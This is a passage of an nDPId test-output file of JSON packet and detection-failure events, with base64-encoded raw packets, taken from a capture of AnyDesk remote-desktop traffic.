yt6cafnDh2tCnyUuvvOZuQHe4N3C8F0z7onETHWLbjvdOX8WGLEGv+eCfDC699fQE6f+GIgBSw2+43Jpi2v7U5Ft+5pt8I3rbRxNwluBiIlzpmrsGbAf0WOYNCWKPmRd6M3kLlegrTT1gqiFJPwH3UqdGWh5zYWDH2mrIpX16MDY50OojHpg3FeqWeoLk8dTjEXblU9s+BoB\/JTdY3wEWD5vsS8mwleTUgPVVwQABJRu9aVfOdemElWf0iZ2tAdNDTOhEE\/j4f5kP7\/045gfR2Q+NgLdWh86nRovMRQTBR0d+PnwNWXNLyJYYY+jpuMpJ6b1CLDcLpVnND52v+jofplsEu61+bV39gkL53vQopiG+FjniFpkI2Eal6iSGkZAo3mFsdHdVO1MhlEzZffX36eMfXVoqZTi1CTzYWJwO5niGhi8P4W5wl7pYxaEx6whukO4KPxlBFchIcb64WerkgdFVODI6rGPuT1Y5rL6BEIczNLR1Wm0gpwfCA+QGKSd3KfzaANCbcdhDG4vgQviTCB1Z\/WQxZJWV3MZLp8FIoWeyj6DD8El6JU7vUEXGf86kyRt7RELPdRqleEog2CSIG1emvKjU8c8IU2q8v2q+JxAtoUzR45TtmFRx6f3L0ZVD3C9CBXFQOLJLHi0oEp4EhGBNM5T1XH8dEjwfBqqyd62eGLDmPHfppUQw8DMI58CeY0kOkBXsV6Ttkow8Rc2oof4iKDimNy3uXPjGXZlT+5qMgxhsErNVovhKBXKs6d9xPQHfispUE0K\/uFvvYNTNmcVgkgwpm9xPkrYOzA1kRiIGkmGGP8bwPY83SylKBpe0av4biDs\/GMnaWIqZ7KPGTXq2pe7V3B5rG5jkLLmrk9xMkw9KsjGRnvS5MpN8Xi8OVQfm+tqoAximrPfX3LcqGMC2R2Higc6mjzfXCv7NYAKiC4i62P1ZlAgJE4LLnrx7mlPjOJThQw4+3jwSsEU2yoVDOY0HT5n8RNaehHdUlJY7bI3vlE6ldmnCLpJSLnDUyexhznat5mHGgvIxepvTkbJVQYPIhwgHDAaOmLtTVMwvJPg9bxREg7Zqpyg7ku\/sXlJkBkragTraOZQEoQzuDbvGY60QoHMSTuUnL5X253JxUe99c6bVTONTHbqD0KFhYHBB+fm7gv+MdW2hb3JcfMxVUJ1Z2ThEHJDlYCvdkbuglr7iK\/VC6rECpgldQmE2GFRkHEQlfL3opN0gBisMJ28R5l7GXkPzRc7zC40pQrQQnm4YOzvBtXyJ5o0ciSk+6aMwam+p8bpXcb6OmqXEUfrsWD8pZRLl8OgRr6qXu31JZdnVaGU9IzT2kCxrB55LtHNJ6FQz6HhIKPR4fErNNfo0gE9JiwzGrgKfPGrwecnGxlAQgZ30klKAlKLVjaDQb6o6fQL19iKbSG4eDNNlrFJ11S8X1lvChfQXB68+PMM9f6cANdWOMTKRbOg5E1J2RyzRtufU1EkUdhh8S8VHQehoFlgUK8UP+CR0WM17fuy+DNlELrI3pBVYV65tF\/grUklg5TZUvYME+FSdBVpJ+dfJluxmx9VPpxXCzZIRtJKKwiGaSW1KLgWvZ8aEBkSpkIpp15GswUPJrrtR1ZizQOORONXl0Q\/JkG2vU38J5KCpE9oAz8jddeqkJP8WiHun9aXsTLk\/IECItW0B433ZdTTFbIJPOlxpxRVj4h810y\/vS8J73Jg9ahcOg14TbRGfuQ8kEYklboGK563AdBZu8WPJkrCZwUCygk3n5K+Qbtc4wgZK79cIQX0yH5ScBAWZV3gZJfN1EEy0EXNJnlw3wswqVecZhvMvR6MoDFjjfqLyP3b+xnz1fu\/iC00F9wek4CgA1Yn3j+1vs+KTWJfDjLqGS55I2naEMeJBcwwxX65mfFIdvTTacpB2Cbl0luip7PGOI741F0B582mCBfPuPJS5HiphHoXd+EFxICuDN9c5+zP1ak4ZNoIVvrtmSfZT98NVNAIw6FFVme7e2K3d7z9ZjVhywW9mQ9aAMIDbBBMa3azt+TZ1cHqEYmnbX+sRRUk\/NlrkwnO\/F8AWjFFBvBAMn07ru7+cWdheoegPzVVK39vIaXcz90DiVbWsEcmHPzPH\/GVheH5yp3Suk5e2INyJSBNtAnScGrTOogJE2uWsQUFFf+jEamTy8XwiQCV88iHwH44yg3QjJZ4ackAsXp21YHVwAsyrA2VdfIt6CYV\/dj5ReNetfvUWJfIhiwAmu93Db0MdBh31dIggrE4r2tGo16kaNNFcaKMPT8nSSc9WF\/ST9JbblRYslo2zh\/FyIPO9FSdrGiHuovMJI\/1jcpjnYVDtjX+EWjEg95gt8BP3e2uyYFf47WJHddwpmCqg2tuvEwX6q36jaTqGKoT6Bn1EJ8Sdn5nJz0ZTFhUSPtOe12cEE5ZT6CPheTl98awz5TywhPRKx\/inW8OhsU1e7uPGiM1EFE9a0WmAvw6hfA0t6lPzq+pBtNXrcjrqAWDQITYSVTBmjrdVw3Gmag1IXnC96hXpHJx1yI9L5iuESzQTgtoRQRNxULXBeSCqBTBgatZj3CQlTlhKVxzJ3WUkHgXH8KlqR43JcDPiDjlS8hgenyzOgiWHvlzLpcHJqJxahSBu+bq0Wr+z3DfM4V9GJ8t6C0XHctZjZg1V+Ii8RDKdczIb73EE\/rbR1o6L6M2neL\/7BHDRslAWIplrRXxWJyXyyiCVhxGCh9wB+RsGgcZtBVJA8vvxzlmRduCgCpdANMxBR6\/0IAJ7ZeFhhKOYpny6XryT4++t6LGHY6QG0jiyeGfxVf1V528y\/d+qqymHDboFuWzTxkNT\/5auXarO6rQZek6EugsJOlZiavm54de22Nv+usyHXGyjAOKgvEvqRe9sSk9Tp0g6haBRyrs\/bTlpIb780gHT8vmex7Uh4k811O4Vzm0\/JVdDSZKmFtROnaKD06VqPfF4G7Ey87FMe5HgM49xFb+BVaqk3HBF6aHla+AzL9A33nPWsPpqzMfGz2cJhxmGxQdbIvG+uINei6PJE\/p4jcIlZrMOediCFs3h2v6b5oHloWdlzZdzxlVcAls0WsxNpDlEOR9leULMwtOhRgaS1jZir8qf+buLZURQmNaWDPQEqEI0Dz207KZEZ8ngOcxNZSYFi2Laj7gb7RHR+JI9p+ZFSBLKV+UVLBfWqRT3eMWLHUf+6Ap66f2RSAj6Uc6+rbxIUhuhCodqUYvHYo0HGM6kJgzQbz62jAzKqaap6tAvcLONnA+63s51rypdK2z4n\/zsKZLighsjdbgd55sUKSkMN++ilhrI8U"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2021,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07834{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2023,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":959537,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg6dAAIAGAADAqAG7wKgBstOUG56PL0BOWcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW1+dOGOrOEv1JRdrJ+Fuf\/wljnx3WlqItF6wKr+4\/GDoDeY3a7sFRAICH3h2wI+zy7RiKEAaBNglJAOjhPAyJTC5yb3qIfbDlGNRPQYST\/NxbZdJLf9u8QGG44NKxQ7bwc77bIqydGfuy5MMdjNwabEnV9Qf6kyEEj51JEQMpK7DQqmjFeCfxApKthEM66XX42HADlSyqcnguP+Au74ZMg4tt27KJTlYb7hADXfTbYceGjtG4s9yqPFqmPnnU17fZzZGcHe\/kv4tiX2BEQkeWOdMBhrjAA\/3QZ7UGPVZ\/JhON1OApaO+jixlSIkSAA9EIde8CGpfBP4TB\/fGUQ0N3X3il153Kv9s8EQBPIuxf0LlMg3pdDTBmtavX+iPaV5kS3sGGO7CIgQhUiHN06iqTGR90t6swwUyI9ugmkb2Lf9EboNTFifY2Vk9rimmeGTQVZPLFK2D0vHMNtKoWvNk4lpBhY6gteLoQuDCEB\/WTtt8HqpgpF2TfabebsWlYr6Sp3WUHfkptRDjqnPiCK8uKH3i5dJPJtkseDGKT72Vzn6sxkWXVOb2qBIOrz3m9kfwHHZgdoCfpWx+3EEkS1Gg8vq+miAr6QDwOGLocfWz8ab4o34h5fA3+50h\/d43+5zaMs9RbjMoDKFe7IHeCqzOUYhqp2hFUxYm7\/2b4uhN1820zBr03N2uxk7Xczp6n2ALbGB4EI42mYJbyqaCigLW9tWZbedxBNcp0hHT2raQ3Z7F3qLU3yyzvtKArvmxQcH0o53FVVo+USqRfUZlJFUQIKNxWOnnKNXpF0nWSw3nMJZ242xWNC7TvhPFSMiHDpoRr8Jw+tNU7s6\/HFEtZF27yZSGnQIEMOrtiV6srUwzONCwmaid8qdqgQ1xIwk7UqzvuYQXgK+ZRC5F7Mv4ppyz5Vhbj2oPyMtVyOJ06qjcUPqI9lP6ScbBXdvlo52f\/Vw5vpYuOWvQfewvetCHIdvf6APVpibTWoAb51IPiRyDrskW+y\/\/tfiEgUuk5Q2dq7Q6LglQu4NBTl+EW3WW0F++0\/VWhUjlZT1A5DXdjOgJOnTeQWITLcFVvXraQLoyNMQhjqmUtBMoBrusy\/xhd7apfTaJGhZiTgTzIzv5maKeVlH5CBT0Z2N\/qgOMDrYhgiw+XzMqpxcmvOTy5SF27c9m3sxeL7ijEsHE1FAD3blSUSrJNzOU0x4DwTffZb\/VxQZPCaAn0+qbElv2Zpetg8BMRaFUwu\/6t3PA6qO2aGG\/x6mNZmXXrDnJQqGECwJ07lJ3FpXyWmvME8l2UvQzRZr7xCsVY+QNoTbyOmKoxUedkTGEWquqytP9Pt7z3ds0BlWeXq5JZPSwGZhv0pyqZY4N\/t+Z809midyhQ0ZBezW7nZkLiJxLLKfwOVYt+3EWJvqNdHS94Ud85b\/1Z+CNfU79nrZgvZgK8v9fBN8BVIJxHDPFcEwmyVJ976pwCqzL9bve2KDvMlvnePRFo4n7ivcj20nIhcosVcgq0Y1KwBxySHx1XtIVqTsaAp3O9Kp5AH+5XeaRarRNOJIipkn6WPPSNR+ga\/o9RJUP\/skuszsvPBSYhvRgBRSl3g7ehilh3yUUpZPxMjjGxZrto\/\/qQi6cPPbmWEQRDyjJHvcc2l0c\/7o0Fv63iYrMbtgcL8GqXQYeaX02EUB2Fmsj279yoUJrz7GkfeRk7woApxQBuFubUmr6aiq4gMKQElWW6rKZ9sWwG\/5es70bFPg12Yq5bwNdhUDzQDDCVgsGJL\/\/3IiopmlO\/FWNtXAZeU50kUZwgz\/k5pPHUdge\/YowRO4e1gKYxWdo5KnOWrOcdPvxUYbdovWQilNOkwGcwQu0+y8X9J1MT0Ace+UMr7LAln0E+1FMU7zYP9VbBU5fkUwvkV16kKH8cuHj8Vj3h4v0RpkSKRp\/cAIdhH2\/jjiJ0OoAJBETaxXNEjjOwXfxS5cqRByvir32fm1xW9PwdLzwC+Yl69bEFrygffxA40mB7Ee1TvV5VeuZXbfUai\/xBf2soJbKq+vApvTuunPdYuwVsYpVQFuVT4BOUZAG1M8CjWta9TFYPfBEoEgwXFMdzC8ptXqxfLH1RF2p06mA0XcEbL5bcfqYLdX8GH\/e6X9VqOSx7O7N6WVeWFGYsy2OUxgytQX72t9u4YClIQvKJSBEIgMNhLOu7IDXhw3Z5FlpW36O1wyiGjJCuvmNJwYDhx5qbykUf8aqKNxZU4lmskFgeX8TndTeDaiTILay+pQalxGO8xnNldrxOX81XppRR1yZCzYe5dKqPmegcLmlWqGMrWkrgfGeHvgKZ\/vet2TwuNyA4ohvW4mkOtxdGH2kxvmofygctjQpxpoN9y\/EjqU5Bbh5JzzlTLYs2YnGHr67y7pRs7VEQv\/0NfxNE+QivktyZkCuhZyW0XNOnMYBs0HU5MJNPwUb7+jpHb9DJ1fDTWOj80OpNqns93U2+4qMurM3ybdZ15szo8DyTp4nSkWtDR\/41+UmcN9rMSBIdfBIyJxYLCIVOAzJuJIpOPMCc9F5EG8jlnJ6N6q9NHe530T0M467DCDllqDjY0FAWweeLfL9xOlflM0oBrocUyF5KJ4NDXNSWLo19FNpyRu5E4T3\/FXWbs60WARCrQOQTc1pwW60MyobFwygi1UtGH\/Byp+5Uy4eh\/FpUnj+3Zsvi5WfdOOO7hDVnN\/0me798jFIa5q8zd5tnWRAlW2Ngl+lknKBNQa9HlcBwSCZl8OwulTkwgA6xkkUNpErdbaHXukYRnioBKFM33148etJMCa7e2RgDN3e9NZuveRx24VX\/l3cXb9lPjNRoP2nGmtYMypzj1mWU3Y0OK\/zgX2nbmMpZ7twAp+tXdZcMav+XYSp9P122a3APvyCqqCp9Vg8M\/n19EwaXb442rNt3AcapjyLf2DV2RiWjxl9nKjVrrlIDJpkrTa\/LZA466YxL1k5cIPQdvohyJqcM6O0aYJIc1Dzg1dzq991HQsQxtR\/STle3o8mDuD8ZjLHyvkZiW5xtEOcLRzZelI75HgdOO7sDGVq5TQjxfPfcQaAPQqKCDu+liZncn8Uy57Hgd5lcmk+G7v0on+dZ\/bpdygln42zGLm66Zt8bC4HDntRhou2eFgsz8glxpOEZZFnvNq5uEzPylTwmjdI+UvuyiZfSzKQ1jyd8q23S5QszGGNEGeggl6A1Rk8xdj3YUisX7KPUUyp\/1hII\/XDhTlcgZ9T4v3chrfDdXgPDjFuNswHL8p9\/t8vOk9iXcuR0P4NIuP4gem9NpM04VeY4IyyfxApzpCj2b1MJQZE1+zTIGdYoX34kYeuN991Z9NtgV1qK3Up7rjGFnRhAsrL+ZiqDCZGnzWAEfJZ0PRphafCFs+7dLiI90mmav5ecise55aP7SdFiohqfO3r+D2ZC20WErr\/8lohkewuHALNe8ODXMSaSPaM8KwmsA721gqdqyjYC85VQXofmpFocSK4oUJopJ5yx87vVGGIvGNEDX42j0dFucRZyqCEpUajrJcviNyh3mrGOjrNZbplmpHz8CtdT8m\/fhNPhU2RaO79ATLNzd5bG0AuGZ1\/3jb5rq4B5CoPBUJYVEAoxrNKGr8z5pvuHPUffHv4WyOzO6KsPc6ZH0UxvR4blpSWZAdQciiRtZwcf4wKMclREfgEhWPSEa4GVAbhxF98HJfkYwv+HRM\/BXBTwWFBt+TLVSboJMJdIFAYK5vtQP1DcDUn4R0l8F1R4rg26g3Zkq\/2oYckmNquIJc2L2\/PT6bdJTLAuFMiF6nyAr5FP4agB0jCyKsj6pyBLa5TYMFdbQeew97SCtvU9HnynFuQ1LrV0Y5t\/EQH0qQ5A+S+f4Y\/l+phO8O1WXYazIa8a2nDpfKB0kqT6ak74\/lET0aMgLT3UuH0lVQ7HXkKtIhCLgcQSzFSdzvxsOCGsLDjqgmuFTh20yFuzeTrzyoFSeQCYHrBPbD2J6ZDevhBW7xz6CZNWWo\/0zkmFMAXtOZiu0K8QGyKwrCm2hmBDs8Xnm4YsLdRaLEs2NTzGkM\/E+VKIcbM9WS1agKMd+kAbOhqL8sDOLU4syNFGQMQAfskgyhSPi5UlNsyn9KGGXn61pgmOl9lYQ\/hRBVN4yxBf4UuJQdvEsfnO2SJqzGhd8mUPmXae+7c4+JI6QyFgvJP3BPuXVZMRTB9PuCTvvmcULwVKBTx4xnl0a41lmZl0IzOgK3FrZB9e+fM\/wYiwIvNkm9nR3U4Dw3JkMmd9SrQ0mNHDaTOfoqG+D\/LaEtevtpXsaQBomLZanCzAmR0EIb0TcfKMmFYZs2TnjP7Un\/stl4BV60aEPD6BesorSmbbqLv96L8L9DfuPAS+QvHa7FE28Coldjx89utepAnhf+kKZ0qCof96E4ONern7SX\/FJbvOAG71xxp+i8GcA\/rg19AKqef6Z0nzjJRcVlvqPI+\/atbW\/zMWNcsbBnuJSthLYz0mAIHbTBKAyCGcPZwDHWoaaeoERywhRx202hbsx8ltp\/XQI1fqy64otdIgCSxRHWzTt9WUY0cJr4Zkoh6m2dLWHi167Ka7kjpCa5t+HMUbxv6top4+F2nEOZxkl2lXj2EzBq2WMIjR5lZhc3JzwiBkXx4OJhQ+8WIHVt96S+edn1R3ffcTXaQlQ67ricwqHqlbTgq52m3kOJz5qEe3bzIBdsjHzazgn5SErnF0K9H4W3E4qjVgs2bVrD4+Wdn2ni+dn9oNWxww03Ukn\/mCJM++HesiAKS2dNtu6cESDTYhnCCIUXhTWjl8WCTCyzvDG8P85KDLnVjWfSgVkn7S\/zD+80bff+D18AH0R6ZRtkbnDb3aKzixac7nge15xTq1T4GYmNg2uv\/ypF8\/+7t3FLlxiwi0M8gsaT5KOC9nyQUr0NldZOBFw+2K9Aa5Tw3Bn3q0ZVou6oEpoGNdcqbPessgVnEM9\/Exdo6nYightHYZf7PB75wY3dpr73GifA9SdoFoduvu7c7mpTVnKxbQSTVytFjIjm9KEUJOdz4OxGMqXLsCFh7r8vX36x1phMHE0VAfWrPeEVSeLDZuWaG\/NhLIS2NIj\/lGYkSGoF5pdKsFvzErdBEgdIKmr6UDHqYF3Xm7shAJEOL3fsI+7ncGtskodD27etXOhr5KjXBqFj850RDgGQKWipiOytCrEtoXJqLjrgqsSXHeDAfCKQ57rYUAYP57+N\/ayeL5ZLZ8MIqJwV9NTDWaknkwD\/Z37rTlP3OAkO9\/\/QJz9IgJco5EV4GcL073oDcTnsvlBMATxA9s0xn7ShJzatLsWPMUvEzArihBJK+iaom9ZjqbXHxE\/zk1AiI8lX+gAi\/C1pHV7QBfOG95wkuIGLUeprzHQXEw5mHc3HuDRwwUUI8DtZekq+RinvBlhVXS+VHieLjxFOdwy2NI2QTQDfveBRMKXqMukxZ8p+xU5+lG6jRT3\/Z72lPLnebqCUuW0KoDyy7JdgmQaybSIBYi+nn8g6DaKy0zGT1Ev5v3Pp\/WqjFAmlctfHa+AHIRzd3\/PPYGS38ZAtVX6R46NGwj3KZBomGhDs3FF2SsVj3Upgv8g3dHV2h1\/8oU2+rr3hUacj0heh35S4Qq9PT38I\/PyecK1NuTnbtOKYxNxA3t5UFilpj6hHr3HtGgi7+Xa4mCbU1P50n5iPk2ggGGwf\/tChz7pSLJShfHIbOWHWOG\/JfCus31Pkjl8+o3JxDmSrf\/Td0BjTa1Z4OzfYwI8FIOQVWQ7sKDe66P9cY2sGA3rlDCMyHAVvBhga1LD5AfvmYsg14a6WZaen+7JDhKG1QourlGWQQERSUTdfcRwptArBFYfAJhA\/i1DwLTXoQXpqP4Jojyn3ybpnCJSRvq6bLXYJD7YQwRyEHruhj97onN3YpcbcJ9Wc62jhcyKkSNN6M3+ekCwzvA5POLCOTjmfM95IPlACHbsss2FKUKh90T00eMo9b3fY0gNLcB2DIImuFqqmZcSubtNxDrDxRkyek2QwaTMEtcubercdomZxZQWPJHXnewtSW2dhGbfjXXBNnS9LlmzPGDmmufymjccAOv0Tq+Em3yLxSqE8FDGQMqY2GueK27zBAUaa4mAg544SW0BZx+yxVrm\/5LQmQOeP47PFFPtYyC0foE3tWwx69\/9sJVcfr0G4nWv9Z\/HYek+R1XMLx5AgYkU0G2nPvtg5+BnhJw\/gz19VBwiTr30Pd9KNV8VsWp2fo6UBiT5ll\/ZIlzAu5Ic8HGxD6WdqMXk1RyNKovYPq5AiBeRacTNl4kZMOa2yWWyZYEtBWeai52C\/m7PAf44ykf4H7wO4bLGTcH8nieyuWMOHlZZrSieDtM0zH5HF38RAPbr1xPtYE9Od0Lpp0JlOSrXlw06sbG+JAbTS\/gSMGKtcCOMgqNJID7flxKVkGV9WlK3\/10RFQ2E1O1xx\/TvGuQF8Mu6PynT0sbwGK\/rjW7GI\/PV\/ZVKsishI24ChkARyOcEKuu9b0F0fYniTUsHAhJtzSuEanT6Qqh7rFi6d\/I89LtL8vkMn44A5Ukt0tlN64UkNEdTg7LHhWPAhWURayZiwZuDrbCPDj4Npgzr0WSr\/rdHoAGChWKfsf0BeDsYSehJrPEn1ZdINgfP25A74qGVezSF7WcgRWBQDIvneUijU6wscg6jgHMrRHkEl0Vpc+w6zBSDIwubCyH8TJUDErFuYIV1Ax1ajqc4VwhyWnpBp7nIeX246owRZs1jqDVoKhJIbSqFUNAkK5+jLsR7TXwbr\/Cc5PDF4Be1+slqmLzeMZA2Je\/wUNNIF1jMTw2bPcMWSrUwteFb1hbSX+7\/G2XdPPyBLz4085wQu\/bjOr2D7+jBsXeuwNawIzzVmJsGsgbOGwJSbAk2H18qaLSigmfwi9fg7Mi85caX0QSUMkNtK0DOPziffGEtbi9v3hBS87NblqL6Ip89G0BJ2ED4ZtLyQH7NemwI6fFYV\/qAyE\/KhTtvcAoQ6UlP10rlFCadsZXKANGJvZMxzzfuvvt7n1xkjshAGhzbQDix\/YMqMoAT5CZ\/WWletauHDu9hetHEcFyFddF4BoMajvi44M5CKnt6AqEbWQ+GVCdo3RS5XSauAvK2oMq1dbrCSrx9JzaK9EzJiFJDoZk8c+10PfHi\/KY1wNMnAmpItWsTISKWciAULWD53pykqF530+honhl3m7tlYYq1eoCI1UMsp\/J1NlZxoD8YbFKlf4LMigaa7riNx8+AymiMD+XpAt760SVGjIOGGCdlQn5OwZWDfOp2GmNZUscnzV1obGsMnvnb9BSiPZ1dglovXIUjnTA\/Gr4w4VCNJaHI7BVfAPOTXMgu6lsrjnXLA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2023,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07841{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2025,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":960008,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg6tAAIAGAADAqAG7wKgBstOUG56PL1XKWcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW2MFwvRcKGdYoiF6J7vmoH4yokTy\/ZBYktYGxNsKKC0WTXE4gzBc2GsLwbS\/gHq1Tut8bPi3p+Y5KqffEF\/oFWSyFMZzU4IkVvoOttp6DujyQ4Pi7ggylLU0bxv9wOuk9UPm6qZu+b1S\/lEvzBmDckqH\/lKmwRfYUP9oQo7RNdgmA4EUartwl\/jlYXhIumEM4DKNDzWKYipZ8omTdBoHWwlHQ6xoD7LoNFs7+z0PrtcgE4dEUGrM22MwdrtL2TBLihX90mA13q2XAM7cOlKnOwFmpcwzCNf0iHj7zlbOz710jSRD6n5G0losMGRriEn9yCZY\/kLKO3Tj\/eOcUmQzviu6RBDHlULUpKI1WulP4+Zr1YscW3X\/jbvRg1I0f7ooIr6VCeRnkEhZ5I6bgHaYGvN+jqG\/qbf2d7Gs1OH+XQvW26sP2vYRTpIUdC8X+2StNIEiyuWviNZTXGEHDCW5Z4+wxJuOBiFQtgWMAe1gR0HHM1MhkN\/PBcbx3NgehkZwohP9xLBNm+ZY3RRCT\/dbbwFU7gyhHWSYONfp0hJdojOw486Gq07l1rYiX+dFz3fbCFWDaQEwlSZbTjT9uRp8Y3p6FAnXn88+P8pLd9Wjfm00Hl\/niruHOoN6Y1EM4xAVVHcIQKREhxROoNMR\/jMYT3ITuW\/0UAKWuasTqpwo7Of5sMksMFmLA2wmJV2Lu3LmFYIuY4suNNx3PIeRutWdzzS8+Mia1rrF1mDDUclFBdCXkjAj7mdqlSZTQU7vHmCVd299lFhJgvD5tZQlwYEF\/nWz4T1zMDb\/CbSywvLK+Tpb\/OHFOpyx9dT3+uvPogFk89jSiPqnMTPvfD7FR4FoOwxCczwBlnC6VnhQ9krRh7FnHNMUuxa5AwzKBjuvPnWbR7C4TSQamNDeawXvrQOrm0XKmIqkXDnrx+KjOCAp84bLlIkdULavq7cw9tdc5vPeTLGqVXHSy4h+vpl4F9vTnbinq4WRDoqrA2pcs4WPYmggVDZ8r7etEb5ib8tbrfiDmv9iF1n\/41A7ukJoQC6JM\/kBierQ\/O4RAUSXiEUZylLmb69t0ySO3F2WdtBtQRYF\/jIq5qx1srDY7CsVqB5r5v9DBAuiWCz+yVtqKVRJ4WWYJj2nVr1rQWh60iTixpK2KjWwBDZxy7YxHorFoLHwIlIO7byp5x67fI7c3mmq41r0rvSXGCdO7OQaplEfgXB2o9SMnjlrg1EB81iaMH\/ae2lIhIXR2oVwkU7xEdICd3fVday1oz28VRaQ9rgGEElKlMherh\/aW9EcgWzuLDdJwVCKPfyN+BmkpJFT6QUKE4njebty6SyNAs2qD2cmhMuzPl0XwYGxb2+zBBdzJil9o5A9236ZMNAy52vRCT5YBdpiRS0E1X96kP\/09etwEFdy4bNrijvBy8sT5TUpD0u20IphAia0tL5uX7mhMWHH\/wDd9q4TjP7bnDtFhyol3LlaTcKFXXx3iPh\/kMASo+DlxDf5QwRi1eSgk6C6I9NdHptDmtxd97KNZrAgsMxMPD4v8EXGLjMbuJA1YMju\/b2QAS8pSw9I9VAIyo4H1at4Rt3NQW8MdGP7Vkw6QBujw1zwYWIr8kJ5d9wncdoFs8eZOG9k9D1MmrIZNLAwrfAcDSk3W2Nv12rQgUutQ9dsaFrvBaA3Y6g1Jz2VS1UXdLf\/gNyY\/mIEeQD6+vWR62IF5JCWJRmDdMXsPznaaKWE88IluFe74NEb3oDsSAno+SCjGDNXXhe\/nGABwOw9V3cctLXQsJuiEwjc\/+mOPh3xpeZ\/sWSGtBimjaQKqE3OvM29ElKc\/EceLhLVNmyT3lXPaU77CXkFVzw18fKY5inl5Q0ygrtTVCUz9g5oYxKGtzzfUrGwjDcTQJW2v6\/bJP\/yXxsdwWni1\/oU8u58CE+vQF0MOl2BDnlTQWssH6hvqSvPnMY57klEKl9x7uIR+\/Hsh667wU6u6Xma5s1OXATdEaQ9CLiYO2L1LGFoLXItWG8+dmhrletvA0g3n1wJt4lEJxQ9YE14ue3ZmbxrHH0oKYqpNWM3TyMRGb98SFTUGfF4JQFEwxXg07t7CZTOEeUrB92PZyD\/GazOfmR8bnIeP2emb25OTeSJ7et8\/pe9veDOVRROcjQ2XJe7X8GC3MyYdeoI8y7ie\/Dr01xnxiG1Pe\/MFUSWj20JD3ZPXAqbJnAfSrAcs4AFWd3JI5jKJhzUEvIgtg5aCmlyQtn2J7uZCc+qAkTVf1HLA83WVofvzXtJbkA\/v3Lyd2NVkcGF0ht7w9vNkrRyQEf16lr9n2uxpQ4kIOSAMvxggw8phBSGU3Hq3EfHk5+vvMAHWn8GTFutpEsnl45V71w9iFpFUYNiGMGGIPMWSkNKeD1ZQkoIE+T5EqGGD50383K90wjFOsvr9oPmKtdcT1r8tRUGFOYPmVMxA9GcG0kjsC\/dAzpBkHYlC1Q59oAOgXSyzWj4m7myKD9wtNNUQamM1LbNKTYKFvxrHMx11cXuh4CFySTdEqSBQ2lgHgvdBPx0LfmvO\/RfXg2Olmw6vba66EFvnutiUaWpt+7fYqS\/osACKp+4fz1zR6lkRUo1AX6W94XEvLR7HvDSKqb+ZDL98gY0NfbJWP97kCllnwV+bCZvUe3yHBrGhlQC8H4dGKIdDCVI3P+rtXrhlNUXoTW83Y5TwStnSh3cS2Eh2YM1jqGntlaLr+Y7v75zE\/JXSbNNGjJTE2mykZ0lVNm\/9L\/spQJV5ZmvOa09uK4+7hvsZ\/LBYVtsOR2DE0TLLxND+TpVCNnf2534xOyJPs1C0qlBJiG7Gq3nRrMzV2KFDEzx6jTLI1k+8c3QCQLmcwIZ5NFdZQuUMCC5CFqMgmf+6Z3\/71DDq2m919qOKdKHPH2JNzod3hl9tb5mvaMLzbdhXrTYH\/hhlrP+9mzTE68OwjAWddYiDJ1WJ1UOqarQVAahfpj9XoaSopvA3M2GoonzYVsUL3mwbx3h+U+bztY0SubEF2f4ZUFFf7GX3pyJxdP0x0NrPk7BmIGFLlk\/gJ93BYC7pl2MxFU9Uzw7V7zpFU\/0UA8DqIIqTOLNVH54IVHHNf6pnbs+LnqmUWWvdXAMVtYxawM1npkYIaj8hul2Q8gEjHjj75xVdkgd49KntIR4pE8M4bKtLfFGpKbXUqfZ3j0+aVIHgtupFr1g2gJYtuYe1wmCP7XkPaextSavOPFvelfW+G4W+Mzm30pYVHOqHU3XsOqLCSQDXmp\/xL6pgIAiQY8UnXHOKLMgxcunMM8XN5j5BMiWl8oJM1Jw\/90+KIxnqggLroK0cBOaHcjJtD8V9ydsJ9h6ZAk9XCu0cRCHDJ\/ovdhY85prr8k3B7m3KUgMfw2238KgwWgbRLuDv966lKFV2G1M9aiq9UmWNHKUQCbATmnQX2KN3CQIwPkDFJ6WsXbEUl1IzsE0B4CXLtyD1XT3gNxZsYUVX8bbhpSZQQP7z5+q9NqIC+Ps7CWSKuz9ftr+bB2aTct0vEN+d7ELT\/Hxg9DYEEhWcUCjvJMCrEGnsqF7ttlrmwXEY\/E0Xt0Z\/uq+BGsxnKtvFhFSNfivRHNicIWNldkGZIwj5mJXbw70laUvfYF0n3PdKuIvx4UxbwBaw1C48ur\/xkjP0GGOVwvHG4HS6nshMOohJqBrmxcROvNNjQk63APAwOV5yHvqYrdp3BxmoyZBYr9Sn89e0NLDJv8iENWouEGmUcU8XyW8bxTxFhhxzBo8dWroIQXcolSShLqEvcLYwHHrONjVvvd78PW4Hpu7FnmONGY0rr7tDiV0Ul7OVzCofPYS6MazXx6GFD0s29l7gLYjkmbVTmUyiTSlkhLH4dqY6pOP\/p31gFvDdqsMOvlZ3WnyceERJBzKInjIMpkk96nLu9KagbqxMb0hCqlRS9bOagC4jr\/nMM6aZTDvg21XIVEA2MhciaPJELrSPRzPhGVpF3aAULTfE3JradgvL47+JvuEja8puWgeOrRxUzOAsE7bRiZu\/lDZMi2lejhbetAoxoOJCgAIAdAC2M\/L6GHme3+r66x8ONGJ4PDP1m3fsAQ04ZB9WrNYag\/1kdLZCgYqr1tBCFSBvYXuDIx21MAnJIbOLN2x\/\/Sbd0bn4NNT7hiK+ZtVc2O6Rho3DVVOKd+Lxs2SCIqq0BEPtIiyC1ni6SUmUDc2ztSFQEN7f7zFtZo986SZ